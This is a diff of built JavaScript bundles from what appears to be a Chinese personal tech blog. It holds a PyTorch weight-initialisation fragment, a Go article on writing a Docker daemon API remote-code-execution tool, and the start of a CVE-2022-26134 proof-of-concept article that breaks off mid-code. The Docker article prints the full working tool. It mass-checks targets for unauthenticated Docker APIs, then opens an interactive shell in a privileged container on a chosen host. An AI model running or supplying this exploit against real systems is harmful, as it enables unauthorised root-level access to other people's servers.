None:\n\t\t\t\ttorch.nn.init.zeros_(m.bias.data)\n\t\telif isinstance(m, nn.BatchNorm2d):\n\t\t\tm.weight.data.fill_(1) \t\t \n\t\t\tm.bias.data.zeros_()\t\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u6d41\u7a0b\u662f\u904d\u5386\u5f53\u524d\u6a21\u578b\u7684\u6bcf\u4e00\u5c42\uff0c\u7136\u540e\u5224\u65ad\u5404\u5c42\u5c5e\u4e8e\u4ec0\u4e48\u7c7b\u578b\uff0c\u7136\u540e\u6839\u636e\u4e0d\u540c\u7c7b\u578b\u5c42\uff0c\u8bbe\u5b9a\u4e0d\u540c\u7684\u6743\u503c\u521d\u59cb\u5316\u65b9\u6cd5\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e0b\u9762\u7684\u4f8b\u7a0b\u8fdb\u884c\u4e00\u4e2a\u7b80\u77ed\u7684\u6f14\u793a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'# \u6a21\u578b\u7684\u5b9a\u4e49\nclass MLP(nn.Module):\n # \u58f0\u660e\u5e26\u6709\u6a21\u578b\u53c2\u6570\u7684\u5c42\uff0c\u8fd9\u91cc\u58f0\u660e\u4e86\u4e24\u4e2a\u5168\u8fde\u63a5\u5c42\n def __init__(self, **kwargs):\n # \u8c03\u7528MLP\u7236\u7c7bBlock\u7684\u6784\u9020\u51fd\u6570\u6765\u8fdb\u884c\u5fc5\u8981\u7684\u521d\u59cb\u5316\u3002\u8fd9\u6837\u5728\u6784\u9020\u5b9e\u4f8b\u65f6\u8fd8\u53ef\u4ee5\u6307\u5b9a\u5176\u4ed6\u51fd\u6570\n super(MLP, self).__init__(**kwargs)\n self.hidden = nn.Conv2d(1,1,3)\n self.act = nn.ReLU()\n self.output = nn.Linear(10,1)\n \n # \u5b9a\u4e49\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\uff0c\u5373\u5982\u4f55\u6839\u636e\u8f93\u5165x\u8ba1\u7b97\u8fd4\u56de\u6240\u9700\u8981\u7684\u6a21\u578b\u8f93\u51fa\n def forward(self, x):\n o = self.act(self.hidden(x))\n return self.output(o)\n\nmlp = MLP()\nprint(mlp.hidden.weight.data)\nprint("-------\u521d\u59cb\u5316-------")\n\nmlp.apply(initialize_weights)\n# \u6216\u8005initialize_weights(mlp)\nprint(mlp.hidden.weight.data)\n'})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'tensor([[[[ 0.3069, -0.1865, 0.0182],\n [ 0.2475, 0.3330, 0.1352],\n [-0.0247, -0.0786, 0.1278]]]])\n"-------\u521d\u59cb\u5316-------"\ntensor([[[[0., 0., 0.],\n [0., 0., 0.],\n [0., 0., 0.]]]])\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"}),"\n\u6211\u4eec\u5728\u521d\u59cb\u5316\u65f6\uff0c\u6700\u597d\u4e0d\u8981\u5c06\u6a21\u578b\u7684\u53c2\u6570\u521d\u59cb\u5316\u4e3a0\uff0c\u56e0\u4e3a\u8fd9\u6837\u4f1a\u5bfc\u81f4\u68af\u5ea6\u6d88\u5931\uff0c\u4ece\u800c\u5f71\u54cd\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u5728\u521d\u59cb\u5316\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528\u5176\u4ed6\u521d\u59cb\u5316\u65b9\u6cd5\u6216\u8005\u5c06\u6a21\u578b\u521d\u59cb\u5316\u4e3a\u4e00\u4e2a\u5f88\u5c0f\u7684\u503c\uff0c\u59820.01\uff0c0.1\u7b49\u3002"]})]})}function a(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/ae8ff70a.70aeaa08.js b/en/assets/js/ae8ff70a.70aeaa08.js new file mode 100644 index 0000000..375f0a0 --- /dev/null +++ b/en/assets/js/ae8ff70a.70aeaa08.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6143],{28453:(t,n,e)=>{e.d(n,{R:()=>c,x:()=>o});var r=e(96540);const i={},a=r.createContext(i);function c(t){const n=r.useContext(a);return r.useMemo(function(){return"function"==typeof t?t(n):{...n,...t}},[n,t])}function o(t){let n;return n=t.disableParentContext?"function"==typeof t.components?t.components(i):t.components||i:c(t.components),r.createElement(a.Provider,{value:n},t.children)}},42497:(t,n,e)=>{e.d(n,{A:()=>r});const r=e.p+"assets/images/image-20221227164823898-bc8258b634bb3b503bc6dbc2c5487bbd.png"},87585:(t,n,e)=>{e.r(n),e.d(n,{assets:()=>s,contentTitle:()=>o,default:()=>l,frontMatter:()=>c,metadata:()=>r,toc:()=>g});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","title":"docker-daemon-api-rce","description":"[!Note]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/02.GoLang-Docker-Daemon-Api-Rce.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/02.GoLang-Docker-Daemon-Api-Rce.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2022-26134","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134"},"next":{"title":"go-proxy-http","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406"}}');var i=e(74848),a=e(28453);const c={},o="docker-daemon-api-rce",s={},g=[{value:"\u77e5\u8bc6\u70b9",id:"\u77e5\u8bc6\u70b9",level:2},{value:"\u5e76\u53d1",id:"\u5e76\u53d1",level:3},{value:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa",id:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa",level:3},{value:"go \u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf",id:"go-\u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf",level:3},{value:"\u4ee3\u7801",id:"\u4ee3\u7801",level:2},{value:"\u8fd0\u884c\u793a\u4f8b\u56fe",id:"\u8fd0\u884c\u793a\u4f8b\u56fe",level:2}];function d(t){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",...(0,a.R)(),...t.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"docker-daemon-api-rce",children:"docker-daemon-api-rce"})}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"[!Note]"}),"\n",(0,i.jsxs)(n.p,{children:["\u9879\u76ee\uff1a",(0,i.jsx)(n.a,{href:"https://github.com/wjlin0/docker-daemon-api-rce",children:"docker-daemon-api-rce-wjlin0"})]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u77e5\u8bc6\u70b9",children:"\u77e5\u8bc6\u70b9"}),"\n",(0,i.jsx)(n.h3,{id:"\u5e76\u53d1",children:"\u5e76\u53d1"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"\u5229\u7528Goroutine \u5feb\u901f\u5b9e\u73b0\u5927\u91cf\u5e76\u53d1"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'c1 := make(chan map[interface{}]interface{}, thread)\nfor _, t := range targets {\n //\u5229\u7528 go \u5173\u952e\u5b57 \u5f00\u542f gorountine \n //wg.Add(1)\n go check(t, c1)\n}\nfor _, _ = range targets {\n // \u4ece\u901a\u9053\u5185\u53d6\u503c\n b := <-c1\n fmt.Printf("%v\\n", b)\n}\n//wg.Wait()\n'})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func check(t string, ch chan map[interface{}]interface{}) {\nfmt.Println("\u5f00\u59cb\u68c0\u6d4b\u76ee\u6807 ", t)\n\tb := func() (b map[interface{}]interface{}) {\n\t\tb = map[interface{}]interface{}{}\n\t\tcmd := exec.Command("docker", "-H", t, "ps")\n\t\tcheckSocksProxy(cmd)\n\t\t//fmt.Println(cmd)\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tb[t] = false\n\t\t\treturn b\n\t\t}\n\t\tif strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t} else {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t}\n\t}()\n // \u5c06\u7ed3\u679c\u4f20\u5165\u901a\u9053ch\u4e2d\n\tch <- b\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa",children:"\u547d\u4ee4\u884c\u4ea4\u4e92\u5f0f\u8f93\u5165\u8f93\u51fa"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'cmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")\ncheckSocksProxy(cmd)\ncmd.Stdin = os.Stdin\ncmd.Stdout = os.Stdout\ncmd.Stderr = os.Stderr\nerr := cmd.Start()\nif err != nil {\n return\n}\nerr = cmd.Wait()\nif err != nil {\n fmt.Println("\u653b\u51fb\u5229\u7528\u5931\u8d25")\n return\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"go-\u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf",children:"go \u7ed9\u6bcf\u4e2acmd\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'var cmdEnv []string\ncmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)\ncmd.Env = cmdEnv\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u4ee3\u7801",children:"\u4ee3\u7801"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"bufio"\n\t"flag"\n\t"fmt"\n\t"io"\n\t"os"\n\t"os/exec"\n\t"regexp"\n\t"strings"\n)\n\nvar target string\nvar targets []string\nvar list string\nvar proxy string\nvar mod string\nvar thread int\n\n//var wg sync.WaitGroup\n\nfunc main() {\n\tInit()\n\tBanner()\n\tflag.Parse()\n\tcheckArgs()\n\tcheckDocker()\n\tif proxy != "" {\n\t\tfmt.Println("\u8bbe\u7f6e\u4ee3\u7406: " + proxy)\n\t}\n\tswitch mod {\n\tcase "check":\n\t\tc1 := make(chan map[interface{}]interface{}, thread)\n\t\tfor _, t := range targets {\n\t\t\t//wg.Add(1)\n\t\t\tgo check(t, c1)\n\t\t}\n\t\tfor _, _ = range targets {\n\t\t\tb := <-c1\n\t\t\tfmt.Printf("%v\\n", b)\n\t\t}\n\t\t//wg.Wait()\n\tcase "exp":\n\t\texp()\n\tdefault:\n\t\tos.Exit(-1)\n\t}\n}\n\nfunc checkDocker() {\n\tcmd := exec.Command("docker", "--version")\n\tout, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tfmt.Println("\u68c0\u67e5Docker\u662f\u5426\u5b58\u5728\u65f6\uff0c\u51fa\u73b0\u9519\u8bef")\n\t\tpanic(err)\n\t}\n\tif !strings.Contains(string(out), "Docker version") {\n\t\tfmt.Println("docker\u672a\u542f\u52a8 \u6216 \u4e0d\u5b58\u5728docker\uff0c\u8bf7\u68c0\u67e5")\n\t\tos.Exit(-1)\n\t}\n}\nfunc Init() {\n\tflag.StringVar(&target, "target", "", "\u76ee\u6807")\n\tflag.StringVar(&list, "list", "", "\u76ee\u6807\u5217\u8868")\n\tflag.StringVar(&proxy, "proxy", "", "\u4ee3\u7406")\n\tflag.IntVar(&thread, "thread", 20, "\u5e76\u53d1\u91cf\uff08\u4ec5\u5728check\u6a21\u5f0f\u4e0b\u751f\u6548\uff09")\n\tflag.StringVar(&mod, "mod", "check", "\u6a21\u5f0f\uff08check|exp\uff09")\n}\nfunc Banner() {\n\n\tfmt.Println(`\n __.__ .__ _______ \n__ _ __ |__| | |__| ____ \\ _ \\ \n\\ \\/ \\/ / | | | | |/ \\/ /_\\ \\ \n \\ / | | |_| | | \\ \\_/ \\\n \\/\\_/\\__| |____/__|___| /\\_____ /\n \\______| \\/ \\/ \n Docker Api \u672a\u6388\u6743\u8bbf\u95ee `)\n}\nfunc urlHandler(target string) string {\n\tif strings.HasSuffix(target, "/") { // \u53bb\u6389\u540e\u7f00 /\n\t\ttarget = strings.TrimSuffix(target, "/")\n\t\t//fmt.Println(target)\n\t}\n\tif !strings.HasPrefix(target, "tcp") {\n\t\ttarget = "tcp://" + target\n\t}\n\tif !strings.HasPrefix(target, "http") {\n\t\ttarget = strings.Replace(target, "http", "tcp", -1)\n\n\t}\n\tif !strings.HasPrefix(target, "https") {\n\t\ttarget = strings.Replace(target, "https", "tcp", -1)\n\n\t}\n\tregIp := regexp.MustCompile(`^[\\d\\.]+$`)\n\tif len(regIp.FindAllString(target, -1)) > 0 {\n\t\tregPort := regexp.MustCompile(`^(tcp://)?\\d+\\.\\d+\\.\\d+\\.\\d+:\\d+$`)\n\t\tif len(regPort.FindAllString(target, -1)) == 0 {\n\t\t\ttarget = target + ":80"\n\t\t}\n\t} else {\n\t\tregPort := regexp.MustCompile(`^(tcp://)?.+:\\d+$`)\n\t\tif len(regPort.FindAllString(target, -1)) == 0 {\n\t\t\ttarget = target + ":80"\n\t\t}\n\t}\n\treturn target\n}\nfunc checkArgs() {\n\tif target != "" {\n\t\ttargets = append(targets, urlHandler(target))\n\t}\n\tif list != "" {\n\t\tfmt.Println("\u6b63\u5728\u6253\u5f00\u6587\u4ef6")\n\t\tfilePath := list\n\t\tfile, err := os.Open(filePath)\n\t\tif err != nil {\n\t\t\tfmt.Println("\u6587\u4ef6\u6253\u5f00\u5931\u8d25", err)\n\t\t}\n\t\tdefer file.Close()\n\t\t//\u8bfb\u539f\u6765\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u663e\u793a\u5728\u7ec8\u7aef\n\t\treader := bufio.NewReader(file)\n\t\tfor {\n\t\t\ttarget, err := reader.ReadString(\'\\n\')\n\t\t\tif err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\tif target != "" {\n\t\t\t\t\t\ttargets = append(targets, urlHandler(target))\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t//fmt.Printf("%#v\\n", target)\n\t\t\ttarget = strings.TrimSpace(target)\n\t\t\tif target == "" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t//fmt.Printf("%#v\\n", target)\n\t\t\ttargets = append(targets, target)\n\t\t}\n\t}\n\n\tif targets == nil {\n\t\tflag.Usage()\n\t\tos.Exit(0)\n\t}\n}\nfunc check(t string, ch chan map[interface{}]interface{}) {\n\tfmt.Println("\u5f00\u59cb\u68c0\u6d4b\u76ee\u6807 ", t)\n\tb := func() (b map[interface{}]interface{}) {\n\t\tb = map[interface{}]interface{}{}\n\t\tcmd := exec.Command("docker", "-H", t, "ps")\n\t\tcheckSocksProxy(cmd)\n\t\t//fmt.Println(cmd)\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tb[t] = false\n\t\t\treturn b\n\t\t}\n\t\tif strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t} else {\n\t\t\tb[t] = true\n\t\t\treturn b\n\t\t}\n\t}()\n\tch <- b\n\t//wg.Done()\n}\nfunc exp() {\n\tvar t string\n\tvar i int\n\tfmt.Println("\u8bf7\u9009\u62e9\u653b\u51fb\u76ee\u6807")\n\tfor i, tar := range targets {\n\t\tfmt.Println("\u76ee\u6807\uff1a", tar, " , ", i)\n\t}\n\tif len(targets) == 1 {\n\t\tt = targets[0]\n\t} else {\n\t\t_, err := fmt.Scanln(&i)\n\t\tif err != nil {\n\t\t\tt = targets[0]\n\t\t}\n\t}\n\tt = targets[i]\n\tcmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")\n\tcheckSocksProxy(cmd)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\terr := cmd.Start()\n\tif err != nil {\n\t\treturn\n\t}\n\terr = cmd.Wait()\n\tif err != nil {\n\t\tfmt.Println("\u653b\u51fb\u5229\u7528\u5931\u8d25")\n\t\treturn\n\t}\n\n}\nfunc checkSocksProxy(cmd *exec.Cmd) {\n\tif proxy == "" {\n\t\treturn\n\t}\n\tproxy = strings.TrimSpace(proxy)\n\tif strings.HasPrefix(target, "http") {\n\t\tfmt.Println("\u68c0\u67e5\u662f\u5426\u4e3asocks\uff084\u30014a\u30015\uff09\u4ee3\u7406")\n\t\tos.Exit(-1)\n\t}\n\n\tvar cmdEnv []string\n\tcmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)\n\tcmd.Env = cmdEnv\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u8fd0\u884c\u793a\u4f8b\u56fe",children:"\u8fd0\u884c\u793a\u4f8b\u56fe"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20221227164823898",src:e(42497).A+"",width:"805",height:"728"})})]})}function l(t={}){const{wrapper:n}={...(0,a.R)(),...t.components};return n?(0,i.jsx)(n,{...t,children:(0,i.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/en/assets/js/aeef0b14.fbae4fb5.js b/en/assets/js/aeef0b14.fbae4fb5.js new file mode 100644 index 0000000..95eb2f9 --- /dev/null +++ b/en/assets/js/aeef0b14.fbae4fb5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1885],{8391:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/image-20221226125038280-968c0e1909f8702d6f59fa1b830c6f10.png"},25983:(n,e,t)=>{t.d(e,{A:()=>r});const r=t.p+"assets/images/image-20221226124550770-f946363dc429cde59b8cfc330683f9e9.png"},28453:(n,e,t)=>{t.d(e,{R:()=>a,x:()=>l});var r=t(96540);const i={},s=r.createContext(i);function a(n){const e=r.useContext(s);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:a(n.components),r.createElement(s.Provider,{value:e},n.children)}},45090:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>o,contentTitle:()=>l,default:()=>d,frontMatter:()=>a,metadata:()=>r,toc:()=>g});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","title":"CVE-2022-26134","description":"[!Note]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/01.GoLang-CVE-2022-26134.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/03.Go\u4ee3\u7801\u6848\u4f8b/01.GoLang-\u7f16\u5199POC/01.GoLang-CVE-2022-26134.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"goflags","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags"},"next":{"title":"docker-daemon-api-rce","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce"}}');var i=t(74848),s=t(28453);const a={},l="CVE-2022-26134",o={},g=[{value:"\u77e5\u8bc6\u70b9",id:"\u77e5\u8bc6\u70b9",level:2},{value:"flag\u5305\u4f7f\u7528",id:"flag\u5305\u4f7f\u7528",level:3},{value:"\u6587\u4ef6\u8bfb\u5199",id:"\u6587\u4ef6\u8bfb\u5199",level:3},{value:"\u5b57\u7b26\u4e32\u66ff\u6362",id:"\u5b57\u7b26\u4e32\u66ff\u6362",level:3},{value:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406",id:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406",level:3},{value:"\u7528\u6237\u8bfb\u5165",id:"\u7528\u6237\u8bfb\u5165",level:3},{value:"\u4ea4\u53c9\u7f16\u8bd1",id:"\u4ea4\u53c9\u7f16\u8bd1",level:3},{value:"windows\u7f16\u8bd1",id:"windows\u7f16\u8bd1",level:4},{value:"linux \u7f16\u8bd1",id:"linux-\u7f16\u8bd1",level:4},{value:"Mac\u7f16\u8bd1",id:"mac\u7f16\u8bd1",level:4},{value:"\u4ee3\u7801",id:"\u4ee3\u7801",level:2},{value:"\u9047\u5230\u7684\u95ee\u9898",id:"\u9047\u5230\u7684\u95ee\u9898",level:2},{value:"go get \u9047\u5230\u7684\u95ee\u9898",id:"go-get-\u9047\u5230\u7684\u95ee\u9898",level:3},{value:"bufio.NewReader.ReadString",id:"bufionewreaderreadstring",level:3},{value:"go \u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c",id:"go-\u4ee3\u7406\u7f13\u5b58\u62c9\u53d6\u4e0d\u5230\u6700\u65b0\u7248\u672c",level:3},{value:"\u8fd0\u884c\u5b9e\u4f8b\u56fe",id:"\u8fd0\u884c\u5b9e\u4f8b\u56fe",level:2}];function c(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",p:"p",pre:"pre",...(0,s.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"cve-2022-26134",children:"CVE-2022-26134"})}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"[!Note]"}),"\n",(0,i.jsxs)(e.p,{children:["\u9879\u76ee\uff1a",(0,i.jsx)(e.a,{href:"https://github.com/wjlin0/CVE-2022-26134",children:"CVE-2022-26134-wjlin0"})]}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"\u77e5\u8bc6\u70b9",children:"\u77e5\u8bc6\u70b9"}),"\n",(0,i.jsx)(e.h3,{id:"flag\u5305\u4f7f\u7528",children:"flag\u5305\u4f7f\u7528"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"\u8bbe\u7f6e\u53c2\u6570\u904d\u5386"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'flag.StringVar(&proxy, "proxy", "", "\u4ee3\u7406")\nflag.StringVar(&target, "url", "", "\u76ee\u6807")\nflag.StringVar(&listUrl, "list", "", "\u76ee\u6807\u5217\u8868")\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u6587\u4ef6\u8bfb\u5199",children:"\u6587\u4ef6\u8bfb\u5199"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'if listUrl != "" {\n fmt.Println("\u6b63\u5728\u6253\u5f00\u6587\u4ef6")\n filePath := listUrl\n file, err := os.Open(filePath)\n if err != nil {\n fmt.Println("\u6587\u4ef6\u6253\u5f00\u5931\u8d25", err)\n }\n defer file.Close()\n //\u8bfb\u539f\u6765\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u663e\u793a\u5728\u7ec8\u7aef\n reader := bufio.NewScanner(file)\n for {\n if !reader.Scan() {\n break\n }\n target := reader.Text()\n target = strings.TrimSpace(target)\n targets = append(targets, urlHandler(target))\n }\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u66ff\u6362",children:"\u5b57\u7b26\u4e32\u66ff\u6362"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'if !strings.HasPrefix(target, "http") {\n target = "http://" + target\n}\n// \u6709/\u7ed3\u5c3e\u7684\u5c31\u53bb\u6389/\nif strings.HasSuffix(target, "/") { // \u53bb\u6389\u540e\u7f00 /\n target = strings.TrimSuffix(target, "/")\n //fmt.Println(target)\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406",children:"\u8bbe\u7f6e\u8bf7\u6c42\u4ee3\u7406"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'if proxy != "" {\n url_i := url.URL{}\n urlProxy, error := url_i.Parse(proxy)\n if error != nil {\n fmt.Println(error.Error())\n return\n }\n transport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}\n fmt.Println("\u8bbe\u7f6e\u4ee3\u7406: ", proxy, " \u6210\u529f")\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u7528\u6237\u8bfb\u5165",children:"\u7528\u6237\u8bfb\u5165"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"\u5229\u7528bufio\u89e3\u51b3 Scanf\u3001Scan\u3001Scanln\u4e0d\u8bfb\u5165\u7a7a\u683c\u7684\u95ee\u9898"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'fmt.Print("\\n\u8f93\u5165\u547d\u4ee4\uff1a")\nreader := bufio.NewReader(os.Stdin)\ncom, _, _ := reader.ReadLine()\nif string(com) != "" {\n 